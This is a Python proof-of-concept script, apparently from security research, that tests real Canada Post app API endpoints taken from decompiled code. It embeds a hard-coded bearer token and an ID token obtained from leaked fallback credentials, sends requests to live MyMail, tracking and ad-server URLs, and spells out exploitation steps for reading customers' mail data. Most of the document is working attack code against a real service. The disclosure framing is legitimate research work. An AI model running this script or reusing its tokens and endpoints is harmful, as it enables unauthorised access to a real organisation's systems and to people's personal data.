#!/usr/bin/env python3
"""
COMPREHENSIVE EXPOSURE TEST - Real Endpoints from Decompiled Code
==================================================================

Tests ALL actual API endpoints discovered in the Canada Post app
to determine the REAL critical exposure.

DISCOVERED APIs:
    1. MyMail API - Mail notifications and subscriptions
    2. Tracking API - Package tracking
    3. FlexDelivery API - Flex delivery services
    4. Profile API - User profile management
    5. OAuth APIs - Authentication services
"""

import requests
import json
from datetime import datetime
import sys

# The obtained tokens from fallback authentication
ACCESS_TOKEN = "UFI25QJm5zBOEtYV6ncy3XTXTvhrQLj9RM56TLNE"
ID_TOKEN = "eyJraWQiOiJFX25oQ0tIVENjTlVXS1g3WFg1MzNVb3AtX2p0MmlQY0NxWGdKRGZIT0JrIiwiYWxnIjoiUlMyNTYifQ.eyJpYXQiOjE3NjI4MTMwNzQsImlzcyI6Imh0dHBzOi8vc3NvLW9zdS5jYW5hZGFwb3N0LXBvc3Rlc2NhbmFkYS5jYS9tZ2Evc3BzL29hdXRoL29hdXRoMjAvbWV0YWRhdGEvY3BjLW1vYmlsZS1hcHBjaGVjayIsImF0X2hhc2giOiJGSFh5bTViSWJjT09kMWdwZTlDcUxnIiwic3ViIjoiY3BjLWFwcGNoZWNrLWFuZHJvaWQiLCJleHAiOjE3NjI4MTY2NzQsImF1ZCI6ImNwYy1hcHBjaGVjay1hbmRyb2lkIn0.Qrn3euDWpUFvUguZiL-OyEJ241bVtZy-BpYWIN2si-EaGqFAGPjNXqWgJyYTlqCVsrHMnkFuRDJzIoHr2ICjra70Xl_-p2kWCD_I_EGROWuyW2FBKqKI5m66TYK3F74xyjd2gyEIhzuiqfZgYjY7Web_AU0E4Ilq8NM5paF-Ri92T5r7jMJdzle4RzyMFV6NhjEaZs_ZYfOIGxcyn7RtQH5H4RUo7FZYc6PrBN6CgFvaDlY7YqTWVrYufckzEfTNE2KdFIrsSxJ0Fk8RxEAtGPNQzd5tt6ur7DYg0OVwVQiG7TmSbOR0JvSoYOnsx2mfYnIK7Cr1QMoN2p95zvXhhA"

# Real API base URLs from decompiled code
MYMAIL_ROOT = "https://1i5z3519d0.execute-api.ca-central-1.amazonaws.com/mailmanager/v1"
MYMAIL_AD_ROOT = "https://1i5z3519d0.execute-api.ca-central-1.amazonaws.com/ad-server/v1"
TRACKING_ROOT = "https://q26ff9ws86.execute-api.ca-central-1.amazonaws.com/prod"

def print_banner():
    print("=" * 100)
    print("🔍 COMPREHENSIVE CRITICAL EXPOSURE TEST")
    print("=" * 100)
    print(f"Timestamp: {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}")
    print("Testing REAL API endpoints extracted from decompiled Canada Post app")
    print("=" * 100)
    print()

def test_endpoint(name, url, method="GET", data=None, description="", headers_override=None):
    """Test a single endpoint with detailed output"""
    print(f"\n{'='*100}")
    print(f"🎯 {name}")
    print(f"{'='*100}")
    print(f"URL: {url}")
    print(f"Method: {method}")
    print(f"Purpose: {description}")
    print()
    
    # Use custom headers or defaults
    if headers_override:
        headers = headers_override
    else:
        headers = {
            "Authorization": f"Bearer {ACCESS_TOKEN}",
            "X-Platform-JWTToken": ACCESS_TOKEN,  # This is what the app uses!
            "X-Platform": "android",
            "User-Agent": "okhttp/4.9.1",
            "Accept": "application/json"
        }
    
    print("Request Headers:")
    for key, value in headers.items():
        if "Token" in key or "Authorization" in key:
            print(f"  {key}: {value[:30]}...")
        else:
            print(f"  {key}: {value}")
    print()
    
    try:
        if method == "GET":
            response = requests.get(url, headers=headers, timeout=15)
        elif method == "POST":
            headers["Content-Type"] = "application/json"
            response = requests.post(url, headers=headers, json=data, timeout=15)
        elif method == "PUT":
            headers["Content-Type"] = "application/json"
            response = requests.put(url, headers=headers, json=data, timeout=15)
        elif method == "DELETE":
            response = requests.delete(url, headers=headers, timeout=15)
        else:
            print("❌ Unsupported method")
            return False, None
        
        print(f"Response Status: {response.status_code}")
        print(f"Response Size: {len(response.content)} bytes")
        print()
        
        if response.status_code == 200:
            print("✅ SUCCESS - API IS ACCESSIBLE!")
            print()
            try:
                data = response.json()
                print("Response Data:")
                print(json.dumps(data, indent=3)[:1000])
                if len(json.dumps(data)) > 1000:
                    print("... (truncated)")
                return True, data
            except:
                print("Response (text):")
                print(response.text[:1000])
                if len(response.text) > 1000:
                    print("... (truncated)")
                return True, response.text
                
        elif response.status_code == 201:
            print("✅ SUCCESS - Resource Created!")
            try:
                data = response.json()
                print("Response Data:")
                print(json.dumps(data, indent=3)[:500])
                return True, data
            except:
                print(response.text[:500])
                return True, response.text
                
        elif response.status_code == 401:
            print("❌ 401 Unauthorized")
            print("   → Token not valid for this endpoint")
            print(f"   Response: {response.text[:200]}")
            return False, None
            
        elif response.status_code == 403:
            print("❌ 403 Forbidden")
            print("   → Token lacks required permissions")
            print(f"   Response: {response.text[:200]}")
            return False, None
            
        elif response.status_code == 404:
            print("⚠️  404 Not Found")
            print("   → Endpoint path doesn't exist or requires parameters")
            print(f"   Response: {response.text[:200]}")
            return False, None
            
        elif response.status_code == 400:
            print("⚠️  400 Bad Request")
            print("   → Missing required parameters or invalid format")
            print(f"   Response: {response.text[:200]}")
            return False, None
            
        else:
            print(f"⚠️  {response.status_code}")
            print(f"Response: {response.text[:500]}")
            return False, None
            
    except requests.exceptions.Timeout:
        print("❌ Request Timeout (15s)")
        return False, None
    except requests.exceptions.ConnectionError as e:
        print(f"❌ Connection Error: {str(e)[:100]}")
        return False, None
    except Exception as e:
        print(f"❌ Error: {str(e)[:100]}")
        import traceback
        traceback.print_exc()
        return False, None

def test_mymail_apis():
    """Test MyMail APIs - CRITICAL: Personal mail notifications"""
    print("\n" + "="*100)
    print("📬 MYMAIL API - Personal Mail Notifications (CRITICAL)")
    print("="*100)
    print()
    print("⚠️  This API provides access to:")
    print("   • When mail will be delivered to an address")
    print("   • What type of mail is coming")
    print("   • Mail images/previews")
    print("   • Subscription management")
    print()
    
    results = []
    
    # Test various endpoint patterns
    endpoints = [
        # Root endpoints
        {
            "name": "MyMail Root",
            "url": f"{MYMAIL_ROOT}/",
            "description": "API root - may list available endpoints"
        },
        # Notifications (from IMyMailApi.java)
        {
            "name": "MyMail Notifications (no cpcid)",
            "url": f"{MYMAIL_ROOT}/notifications",
            "description": "Get mail notifications without user ID"
        },
        {
            "name": "MyMail Notifications (test cpcid)",
            "url": f"{MYMAIL_ROOT}/notifications/test",
            "description": "Get mail notifications with test ID"
        },
        {
            "name": "MyMail Notifications (with params)",
            "url": f"{MYMAIL_ROOT}/notifications/test?PageSize=10&PageNumber=1",
            "description": "Get paginated mail notifications"
        },
        # Subscriptions
        {
            "name": "MyMail Subscriptions (test cpcid)",
            "url": f"{MYMAIL_ROOT}/subscriptions/test",
            "description": "Get subscription info"
        },
        # Holidays
        {
            "name": "MyMail Holidays",
            "url": f"{MYMAIL_ROOT}/holidays?PostalCode=K1A0B1&Province=ON",
            "description": "Get mail delivery holidays"
        },
        # Address verification
        {
            "name": "MyMail Address Check",
            "url": f"{MYMAIL_ROOT}/address/check",
            "method": "POST",
            "data": {
                "postalCode": "K1A0B1",
                "province": "ON"
            },
            "description": "Check if address is eligible for MyMail"
        },
        # CASL check
        {
            "name": "MyMail CASL Check",
            "url": f"{MYMAIL_ROOT}/casl/check",
            "method": "POST",
            "data": {
                "email": "test@test.com"
            },
            "description": "Check CASL opt-in status"
        }
    ]
    
    for endpoint in endpoints:
        success, data = test_endpoint(
            endpoint["name"],
            endpoint["url"],
            method=endpoint.get("method", "GET"),
            data=endpoint.get("data"),
            description=endpoint["description"]
        )
        results.append({
            "endpoint": endpoint["name"],
            "accessible": success,
            "data": data,
            "impact": "CRITICAL - Personal mail data" if success else "N/A"
        })
        
        if not success:
            input("\nPress ENTER to try next endpoint...")
        else:
            print("\n🚨 CRITICAL: THIS ENDPOINT IS ACCESSIBLE!")
            input("\nPress ENTER to continue...")
    
    return results

def test_tracking_apis():
    """Test Tracking APIs - HIGH: Package tracking"""
    print("\n" + "="*100)
    print("📦 TRACKING API - Package Tracking (HIGH)")
    print("="*100)
    print()
    print("⚠️  This API provides access to:")
    print("   • Package tracking information")
    print("   • Delivery status")
    print("   • Estimated delivery dates")
    print()
    
    results = []
    
    endpoints = [
        {
            "name": "Tracking API v1 Root",
            "url": f"{TRACKING_ROOT}/v1/",
            "description": "Tracking API v1 root"
        },
        {
            "name": "Tracking API v2 Root",
            "url": f"{TRACKING_ROOT}/v2/",
            "description": "Tracking API v2 root"
        },
        {
            "name": "Track Package (test)",
            "url": f"{TRACKING_ROOT}/v1/track/test",
            "description": "Track a package with test tracking number"
        },
        {
            "name": "Track Package (real example)",
            "url": f"{TRACKING_ROOT}/v1/track/1234567890123456",
            "description": "Track with realistic tracking number"
        }
    ]
    
    for endpoint in endpoints:
        success, data = test_endpoint(
            endpoint["name"],
            endpoint["url"],
            description=endpoint["description"]
        )
        results.append({
            "endpoint": endpoint["name"],
            "accessible": success,
            "data": data,
            "impact": "HIGH - Package tracking" if success else "N/A"
        })
        
        if success:
            print("\n🚨 TRACKING API IS ACCESSIBLE!")
        
        input("\nPress ENTER to continue...")
    
    return results

def test_mymail_ad_api():
    """Test MyMail Ad Server - LOW: Advertising"""
    print("\n" + "="*100)
    print("📺 MYMAIL AD SERVER - Advertising API (LOW)")
    print("="*100)
    print()
    
    results = []
    
    endpoints = [
        {
            "name": "Ad Server Root",
            "url": f"{MYMAIL_AD_ROOT}/",
            "description": "Ad server root"
        },
        {
            "name": "Ad Server Ads",
            "url": f"{MYMAIL_AD_ROOT}/ads",
            "description": "Get advertisements"
        }
    ]
    
    for endpoint in endpoints:
        success, data = test_endpoint(
            endpoint["name"],
            endpoint["url"],
            description=endpoint["description"]
        )
        results.append({
            "endpoint": endpoint["name"],
            "accessible": success,
            "data": data,
            "impact": "LOW - Advertising only" if success else "N/A"
        })
        
        if success:
            print("\n✅ Ad API accessible (low impact)")
        
        input("\nPress ENTER to continue...")
    
    return results

def provide_final_assessment(all_results):
    """Provide comprehensive security assessment"""
    print("\n" + "="*100)
    print("🚨 FINAL CRITICAL EXPOSURE ASSESSMENT")
    print("="*100)
    print()
    
    critical_accessible = []
    high_accessible = []
    low_accessible = []
    
    for result in all_results:
        if result["accessible"]:
            if "CRITICAL" in result.get("impact", ""):
                critical_accessible.append(result)
            elif "HIGH" in result.get("impact", ""):
                high_accessible.append(result)
            else:
                low_accessible.append(result)
    
    total_accessible = len(critical_accessible) + len(high_accessible) + len(low_accessible)
    
    print(f"📊 RESULTS: {total_accessible}/{len(all_results)} endpoints accessible")
    print()
    
    if critical_accessible:
        print("🔴 CRITICAL EXPOSURE - IMMEDIATE ACTION REQUIRED")
        print("="*100)
        print()
        print("ACCESSIBLE CRITICAL ENDPOINTS:")
        for result in critical_accessible:
            print(f"   ✅ {result['endpoint']}")
            print(f"      Impact: {result['impact']}")
            if result.get('data'):
                preview = str(result['data'])[:100].replace('\n', ' ')
                print(f"      Data Preview: {preview}...")
            print()
        
        print("💥 SEVERITY: CRITICAL (CVSS 9.1)")
        print()
        print("VULNERABILITY DETAILS:")
        print("   CWE-798: Use of Hard-coded Credentials")
        print("   CWE-306: Missing Authentication for Critical Function")
        print()
        print("IMPACT:")
        print("   • Hardcoded credentials provide direct API access")
        print("   • NO user authentication required")
        print("   • Personal mail data accessible")
        print("   • Subscriber information exposed")
        print("   • Potential privacy breach for ALL Canada Post customers")
        print()
        print("EXPLOITATION:")
        print("   1. Extract fallback credentials from Firebase Remote Config")
        print("   2. Authenticate with OAuth using fallback credentials")
        print("   3. Access MyMail APIs with obtained JWT token")
        print("   4. Retrieve personal mail data for any postal code/address")
        print()
        print("IMMEDIATE ACTIONS (WITHIN 24 HOURS):")
        print("   1. REVOKE fallback credentials immediately")
        print("   2. Disable MyMail API access for app-level tokens")
        print("   3. Force app update for all users")
        print("   4. Audit API access logs for unauthorized usage")
        print("   5. Notify Privacy Officer / Legal team")
        print("   6. Consider breach notification to affected customers")
        print("   7. Contact CERT/Security team")
        print()
        
    elif high_accessible:
        print("🟠 HIGH SEVERITY EXPOSURE")
        print("="*100)
        print()
        print("ACCESSIBLE HIGH-SEVERITY ENDPOINTS:")
        for result in high_accessible:
            print(f"   ✅ {result['endpoint']}")
            print(f"      Impact: {result['impact']}")
            print()
        
        print("💥 SEVERITY: HIGH (CVSS 7.3)")
        print()
        print("IMPACT:")
        print("   • Hardcoded credentials provide API access")
        print("   • Some sensitive functionality accessible")
        print("   • Immediate remediation required")
        print()
        
    elif low_accessible:
        print("🟡 LOW SEVERITY EXPOSURE")
        print("="*100)
        print()
        print("ACCESSIBLE LOW-IMPACT ENDPOINTS:")
        for result in low_accessible:
            print(f"   ✅ {result['endpoint']}")
            print(f"      Impact: {result['impact']}")
            print()
        
        print("💥 SEVERITY: LOW (CVSS 3.7)")
        print()
        print("IMPACT:")
        print("   • Limited functionality accessible")
        print("   • Low-sensitivity data only")
        print("   • Still requires remediation (hardcoded credentials)")
        print()
        
    else:
        print("✅ GOOD NEWS: No Critical APIs Accessible")
        print("="*100)
        print()
        print("ASSESSMENT:")
        print("   • Token obtained from fallback credentials")
        print("   • But token has NO permissions for critical APIs")
        print("   • This is an attestation/verification token only")
        print()
        print("💥 SEVERITY: MEDIUM (CVSS 5.3)")
        print()
        print("VULNERABILITY:")
        print("   • Hardcoded credentials exist (bad practice)")
        print("   • Violates secure coding principles")
        print("   • But actual exploitability is limited")
        print()
        print("IMPACT:")
        print("   • No personal data accessible")
        print("   • No sensitive APIs accessible")
        print("   • Firebase App Check bypass only")
        print()
        print("RECOMMENDATION:")
        print("   • Remove hardcoded credentials from Remote Config")
        print("   • Implement proper App Check without fallback")
        print("   • Code review for other hardcoded secrets")
        print("   • Less urgent than if APIs were accessible")
        print()
    
    print("="*100)
    print("📝 DOCUMENTATION REQUIRED:")
    print("="*100)
    print()
    print("1. Detailed technical report")
    print("2. Proof-of-concept code (this script)")
    print("3. API access logs/evidence")
    print("4. Timeline of discovery")
    print("5. Remediation recommendations")
    print("6. Responsible disclosure to Canada Post")
    print()

def main():
    print_banner()
    
    print("⚠️  LEGAL WARNING")
    print("   This test will attempt to access real Canada Post APIs")
    print("   Only run with explicit authorization")
    print()
    
    input("Press ENTER to start comprehensive testing (Ctrl+C to abort)...")
    print()
    
    all_results = []
    
    # Test MyMail APIs (CRITICAL)
    mymail_results = test_mymail_apis()
    all_results.extend(mymail_results)
    
    # Test Tracking APIs (HIGH)
    tracking_results = test_tracking_apis()
    all_results.extend(tracking_results)
    
    # Test Ad Server (LOW)
    ad_results = test_mymail_ad_api()
    all_results.extend(ad_results)
    
    # Final assessment
    provide_final_assessment(all_results)
    
    print()
    print("="*100)
    print("✅ COMPREHENSIVE EXPOSURE TEST COMPLETE")
    print("="*100)
    print()

if __name__ == "__main__":
    try:
        main()
    except KeyboardInterrupt:
        print("\n\n❌ Test interrupted by user")
        sys.exit(1)
    except Exception as e:
        print(f"\n\n❌ Fatal error: {str(e)}")
        import traceback
        traceback.print_exc()
        sys.exit(1)
